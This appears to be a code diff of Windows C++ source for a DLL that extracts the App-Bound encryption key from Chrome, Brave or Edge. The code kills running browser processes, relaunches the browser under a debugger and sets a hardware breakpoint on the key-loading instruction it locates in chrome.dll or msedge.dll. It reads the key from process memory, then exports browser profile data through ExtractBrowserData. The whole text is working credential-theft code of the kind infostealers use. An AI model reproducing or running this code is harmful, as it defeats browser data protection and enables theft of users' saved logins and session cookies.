const DWORD code = de.u.Exception.ExceptionRecord.ExceptionCode;
|
|
733
|
+
const auto& breakpoints = targetDll.breakpoints;
|
|
734
|
+
|
|
735
|
+
if (code == EXCEPTION_SINGLE_STEP)
|
|
736
|
+
{
|
|
737
|
+
auto it = breakpoints.find(de.dwThreadId);
|
|
738
|
+
if (it != breakpoints.end())
|
|
739
|
+
{
|
|
740
|
+
auto& bp = it->second;
|
|
741
|
+
CONTEXT ctx = { 0 };
|
|
742
|
+
if (!ReadThreadContext(bp.hThread, ctx))
|
|
743
|
+
{
|
|
744
|
+
continueStatus = DBG_EXCEPTION_NOT_HANDLED;
|
|
745
|
+
break;
|
|
746
|
+
}
|
|
747
|
+
|
|
748
|
+
bool hitHardwareBp = (ctx.Dr6 & 0xF) != 0;
|
|
749
|
+
|
|
750
|
+
if (hitHardwareBp)
|
|
751
|
+
{
|
|
752
|
+
LPVOID p_addr = NULL;
|
|
753
|
+
switch (srcRegister)
|
|
754
|
+
{
|
|
755
|
+
case ZYDIS_REGISTER_R14: p_addr = reinterpret_cast<LPVOID>(ctx.R14); break;
|
|
756
|
+
case ZYDIS_REGISTER_R15: p_addr = reinterpret_cast<LPVOID>(ctx.R15); break;
|
|
757
|
+
}
|
|
758
|
+
|
|
759
|
+
LPVOID addr = NULL;
|
|
760
|
+
SIZE_T bytesRead = 0;
|
|
761
|
+
if (ReadProcessMemory(pi.hProcess, p_addr, &addr, sizeof(uintptr_t), &bytesRead)) {
|
|
762
|
+
if (ReadProcessMemory(pi.hProcess, addr, args->result.data(), args->result.size(), &bytesRead))
|
|
763
|
+
{
|
|
764
|
+
ctx.Dr0 = 0;
|
|
765
|
+
ctx.Dr7 &= ~0x3ull;
|
|
766
|
+
ctx.Dr7 &= ~(0xfull << 16);
|
|
767
|
+
ctx.Dr6 = 0;
|
|
768
|
+
ctx.EFlags &= ~EFLAGS_TF;
|
|
769
|
+
ctx.EFlags &= ~EFLAGS_RF;
|
|
770
|
+
|
|
771
|
+
WriteThreadContext(bp.hThread, ctx);
|
|
772
|
+
TerminateProcess(pi.hProcess, 0);
|
|
773
|
+
|
|
774
|
+
continueStatus = DBG_CONTINUE;
|
|
775
|
+
return 0;
|
|
776
|
+
}
|
|
777
|
+
}
|
|
778
|
+
continueStatus = DBG_EXCEPTION_HANDLED;
|
|
779
|
+
}
|
|
780
|
+
continueStatus = DBG_CONTINUE;
|
|
781
|
+
}
|
|
782
|
+
else {
|
|
783
|
+
continueStatus = DBG_EXCEPTION_NOT_HANDLED;
|
|
784
|
+
}
|
|
785
|
+
}
|
|
786
|
+
break;
|
|
787
|
+
}
|
|
788
|
+
|
|
789
|
+
case EXIT_PROCESS_DEBUG_EVENT:
|
|
790
|
+
{
|
|
791
|
+
continueStatus = DBG_CONTINUE;
|
|
792
|
+
shouldExitDebugger = true;
|
|
793
|
+
break;
|
|
794
|
+
}
|
|
795
|
+
|
|
796
|
+
case EXIT_THREAD_DEBUG_EVENT:
|
|
797
|
+
{
|
|
798
|
+
auto it = targetDll.breakpoints.find(de.dwThreadId);
|
|
799
|
+
if (it != targetDll.breakpoints.end())
|
|
800
|
+
{
|
|
801
|
+
targetDll.breakpoints.erase(it);
|
|
802
|
+
}
|
|
803
|
+
continueStatus = DBG_CONTINUE;
|
|
804
|
+
break;
|
|
805
|
+
}
|
|
806
|
+
|
|
807
|
+
default:
|
|
808
|
+
break;
|
|
809
|
+
}
|
|
810
|
+
|
|
811
|
+
if (!ContinueDebugEvent(de.dwProcessId, de.dwThreadId, continueStatus))
|
|
812
|
+
{
|
|
813
|
+
break;
|
|
814
|
+
}
|
|
815
|
+
}
|
|
816
|
+
|
|
817
|
+
return 1;
|
|
818
|
+
}
|
|
819
|
+
|
|
820
|
+
struct MappedImageView
|
|
821
|
+
{
|
|
822
|
+
HANDLE File = INVALID_HANDLE_VALUE;
|
|
823
|
+
HANDLE Mapping = nullptr;
|
|
824
|
+
void* Base = nullptr;
|
|
825
|
+
|
|
826
|
+
uint64_t FileSize = 0;
|
|
827
|
+
DWORD SizeOfImage = 0;
|
|
828
|
+
DWORD SizeOfHeaders = 0;
|
|
829
|
+
DWORD EntryPointRva = 0;
|
|
830
|
+
uintptr_t PreferredImageBase = 0;
|
|
831
|
+
|
|
832
|
+
bool Is64 = false;
|
|
833
|
+
|
|
834
|
+
~MappedImageView() { Close(); }
|
|
835
|
+
MappedImageView() = default;
|
|
836
|
+
void Close()
|
|
837
|
+
{
|
|
838
|
+
if (Base) { UnmapViewOfFile(Base); Base = nullptr; }
|
|
839
|
+
if (Mapping) { CloseHandle(Mapping); Mapping = nullptr; }
|
|
840
|
+
if (File && File != INVALID_HANDLE_VALUE) { CloseHandle(File); File = INVALID_HANDLE_VALUE; }
|
|
841
|
+
}
|
|
842
|
+
};
|
|
843
|
+
|
|
844
|
+
bool MapImage(fs::path path, MappedImageView& out)
|
|
845
|
+
{
|
|
846
|
+
out.Close();
|
|
847
|
+
if (path.empty() || !fs::exists(path)) return false;
|
|
848
|
+
out.File = CreateFileW(path.wstring().c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
|
|
849
|
+
if (out.File == INVALID_HANDLE_VALUE) return false;
|
|
850
|
+
LARGE_INTEGER fileSize = {};
|
|
851
|
+
if (!GetFileSizeEx(out.File, &fileSize) || fileSize.QuadPart <= 0) { out.Close(); return false; }
|
|
852
|
+
out.FileSize = static_cast<uint64_t>(fileSize.QuadPart);
|
|
853
|
+
out.Mapping = CreateFileMappingW(out.File, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr);
|
|
854
|
+
if (!out.Mapping) { out.Close(); return false; }
|
|
855
|
+
out.Base = MapViewOfFile(out.Mapping, FILE_MAP_READ, 0, 0, 0);
|
|
856
|
+
if (!out.Base) { out.Close(); return false; }
|
|
857
|
+
auto* dos = reinterpret_cast<IMAGE_DOS_HEADER*>(out.Base);
|
|
858
|
+
if (dos->e_magic != IMAGE_DOS_SIGNATURE) { out.Close(); return false; }
|
|
859
|
+
auto* nt32 = reinterpret_cast<IMAGE_NT_HEADERS32*>(static_cast<uint8_t*>(out.Base) + dos->e_lfanew);
|
|
860
|
+
if (nt32->Signature != IMAGE_NT_SIGNATURE) { out.Close(); return false; }
|
|
861
|
+
if (nt32->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
|
|
862
|
+
auto* nt64 = reinterpret_cast<IMAGE_NT_HEADERS64*>(static_cast<uint8_t*>(out.Base) + dos->e_lfanew);
|
|
863
|
+
out.Is64 = true;
|
|
864
|
+
out.SizeOfImage = nt64->OptionalHeader.SizeOfImage;
|
|
865
|
+
return true;
|
|
866
|
+
}
|
|
867
|
+
out.Close();
|
|
868
|
+
return false;
|
|
869
|
+
}
|
|
870
|
+
|
|
871
|
+
bool GetPESection(void* imageBase, const char* sectionName, PESection& out)
|
|
872
|
+
{
|
|
873
|
+
out = {};
|
|
874
|
+
if (!imageBase || !sectionName) return false;
|
|
875
|
+
auto* base = static_cast<uint8_t*>(imageBase);
|
|
876
|
+
auto* dos = reinterpret_cast<IMAGE_DOS_HEADER*>(base);
|
|
877
|
+
auto* nt = reinterpret_cast<IMAGE_NT_HEADERS64*>(base + dos->e_lfanew);
|
|
878
|
+
auto* section = IMAGE_FIRST_SECTION(nt);
|
|
879
|
+
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
|
|
880
|
+
char name[IMAGE_SIZEOF_SHORT_NAME + 1] = {};
|
|
881
|
+
memcpy(name, section[i].Name, IMAGE_SIZEOF_SHORT_NAME);
|
|
882
|
+
if (_stricmp(name, sectionName) == 0) {
|
|
883
|
+
out.Rva = section[i].VirtualAddress;
|
|
884
|
+
out.Address = reinterpret_cast<uintptr_t>(base + section[i].VirtualAddress);
|
|
885
|
+
out.Size = section[i].Misc.VirtualSize ? section[i].Misc.VirtualSize : section[i].SizeOfRawData;
|
|
886
|
+
out.Name = sectionName;
|
|
887
|
+
return true;
|
|
888
|
+
}
|
|
889
|
+
}
|
|
890
|
+
return false;
|
|
891
|
+
}
|
|
892
|
+
|
|
893
|
+
bool FindBytesInSection(const PESection& section, const char* needle, MemoryMatch& out)
|
|
894
|
+
{
|
|
895
|
+
out = {};
|
|
896
|
+
if (!section.Address || !section.Size || !needle) return false;
|
|
897
|
+
const auto* sectionBase = reinterpret_cast<const uint8_t*>(section.Address);
|
|
898
|
+
SIZE_T sectionSize = static_cast<SIZE_T>(section.Size);
|
|
899
|
+
SIZE_T patternSize = strlen(needle);
|
|
900
|
+
for (SIZE_T offset = 0; offset <= sectionSize - patternSize; ++offset) {
|
|
901
|
+
if (memcmp(sectionBase + offset, needle, patternSize) == 0) {
|
|
902
|
+
out.Address = reinterpret_cast<uintptr_t>(sectionBase + offset);
|
|
903
|
+
out.OffsetInSection = static_cast<DWORD>(offset);
|
|
904
|
+
return true;
|
|
905
|
+
}
|
|
906
|
+
}
|
|
907
|
+
return false;
|
|
908
|
+
}
|
|
909
|
+
|
|
910
|
+
bool TryResolveLikelyXrefTargetFast(const ZydisDecodedInstruction& instruction, const ZydisDecodedOperand& operand, uintptr_t instructionAddress, uintptr_t& outAddress)
|
|
911
|
+
{
|
|
912
|
+
if (operand.type == ZYDIS_OPERAND_TYPE_MEMORY) {
|
|
913
|
+
if (operand.mem.base != ZYDIS_REGISTER_RIP) return false;
|
|
914
|
+
outAddress = static_cast<uintptr_t>(static_cast<int64_t>(instructionAddress + instruction.length) + static_cast<int64_t>(operand.mem.disp.value));
|
|
915
|
+
return true;
|
|
916
|
+
}
|
|
917
|
+
return false;
|
|
918
|
+
}
|
|
919
|
+
|
|
920
|
+
bool FindXrefInSection(const PESection& section, uintptr_t targetAddress, std::vector<XrefInfo>& outXrefs)
|
|
921
|
+
{
|
|
922
|
+
outXrefs.clear();
|
|
923
|
+
ZydisDecoder decoder;
|
|
924
|
+
ZydisDecoderInit(&decoder, ZYDIS_MACHINE_MODE_LONG_64, ZYDIS_STACK_WIDTH_64);
|
|
925
|
+
const auto* text = reinterpret_cast<const uint8_t*>(section.Address);
|
|
926
|
+
SIZE_T textSize = static_cast<SIZE_T>(section.Size);
|
|
927
|
+
SIZE_T offset = 0;
|
|
928
|
+
while (offset < textSize) {
|
|
929
|
+
ZydisDecodedInstruction instruction;
|
|
930
|
+
ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT];
|
|
931
|
+
if (!ZYAN_SUCCESS(ZydisDecoderDecodeFull(&decoder, text + offset, textSize - offset, &instruction, operands))) { offset++; continue; }
|
|
932
|
+
for (ZyanU8 i = 0; i < instruction.operand_count_visible; ++i) {
|
|
933
|
+
uintptr_t referencedAddress = 0;
|
|
934
|
+
if (TryResolveLikelyXrefTargetFast(instruction, operands[i], section.Address + offset, referencedAddress)) {
|
|
935
|
+
if (referencedAddress == targetAddress) {
|
|
936
|
+
XrefInfo xref = {};
|
|
937
|
+
xref.InstructionAddress = section.Address + offset;
|
|
938
|
+
outXrefs.push_back(xref);
|
|
939
|
+
break;
|
|
940
|
+
}
|
|
941
|
+
}
|
|
942
|
+
}
|
|
943
|
+
offset += instruction.length;
|
|
944
|
+
}
|
|
945
|
+
return !outXrefs.empty();
|
|
946
|
+
}
|
|
947
|
+
|
|
948
|
+
std::optional<std::vector<uint8_t>> ExtractAppBoundKey(const fs::path& exePath)
|
|
949
|
+
{
|
|
950
|
+
std::wstring targetDll;
|
|
951
|
+
MappedImageView image;
|
|
952
|
+
auto version_opt = FindChromeVersionFolder(exePath);
|
|
953
|
+
if (!version_opt) return std::nullopt;
|
|
954
|
+
|
|
955
|
+
std::wstring filename = exePath.filename().wstring();
|
|
956
|
+
if (_wcsicmp(filename.c_str(), L"chrome.exe") == 0 || _wcsicmp(filename.c_str(), L"brave.exe") == 0) targetDll = L"chrome.dll";
|
|
957
|
+
else if (_wcsicmp(filename.c_str(), L"msedge.exe") == 0) targetDll = L"msedge.dll";
|
|
958
|
+
else return std::nullopt;
|
|
959
|
+
|
|
960
|
+
if (!MapImage(*version_opt / targetDll, image)) return std::nullopt;
|
|
961
|
+
PESection rdata, text;
|
|
962
|
+
if (!GetPESection(image.Base, ".rdata", rdata) || !GetPESection(image.Base, ".text", text)) return std::nullopt;
|
|
963
|
+
MemoryMatch match;
|
|
964
|
+
if (!FindBytesInSection(rdata, "OSCrypt.AppBoundProvider.Decrypt.ResultCode", match)) return std::nullopt;
|
|
965
|
+
std::vector<XrefInfo> xrefs;
|
|
966
|
+
if (!FindXrefInSection(text, match.Address, xrefs)) return std::nullopt;
|
|
967
|
+
KeyMovInsnResult mov;
|
|
968
|
+
if (!FindChromiumMovKeyInstruction(text, reinterpret_cast<void*>(xrefs[0].InstructionAddress), &mov)) return std::nullopt;
|
|
969
|
+
|
|
970
|
+
DebugArgs args;
|
|
971
|
+
args.target = exePath.wstring();
|
|
972
|
+
args.result = std::vector<uint8_t>(APPBOUND_KEY_SIZE);
|
|
973
|
+
args.breakpointOffset = reinterpret_cast<uintptr_t>(mov.movInstruction) - reinterpret_cast<uintptr_t>(image.Base);
|
|
974
|
+
args.targetDll = targetDll;
|
|
975
|
+
|
|
976
|
+
KillProcessesByName(exePath.filename().wstring());
|
|
977
|
+
HANDLE hThread = CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DebugLoop), &args, 0, nullptr);
|
|
978
|
+
if (!hThread) return std::nullopt;
|
|
979
|
+
if (WaitForSingleObject(hThread, DEBUG_LOOP_TIMEOUT) == WAIT_TIMEOUT) { TerminateThread(hThread, 1); CloseHandle(hThread); return std::nullopt; }
|
|
980
|
+
DWORD exitCode = 1;
|
|
981
|
+
GetExitCodeThread(hThread, &exitCode);
|
|
982
|
+
CloseHandle(hThread);
|
|
983
|
+
if (exitCode != 0) return std::nullopt;
|
|
984
|
+
return args.result;
|
|
985
|
+
}
|
|
986
|
+
|
|
987
|
+
extern "C" __declspec(dllexport) bool ExtractBrowserData(const wchar_t* browserPath, const wchar_t* outputPath)
|
|
988
|
+
{
|
|
989
|
+
fs::path exePath(browserPath);
|
|
990
|
+
fs::path outRoot(outputPath);
|
|
991
|
+
auto key = ExtractAppBoundKey(exePath);
|
|
992
|
+
if (!key) return false;
|
|
993
|
+
return ExportBrowserProfiles(exePath, *key, outRoot);
|
|
994
|
+
}
|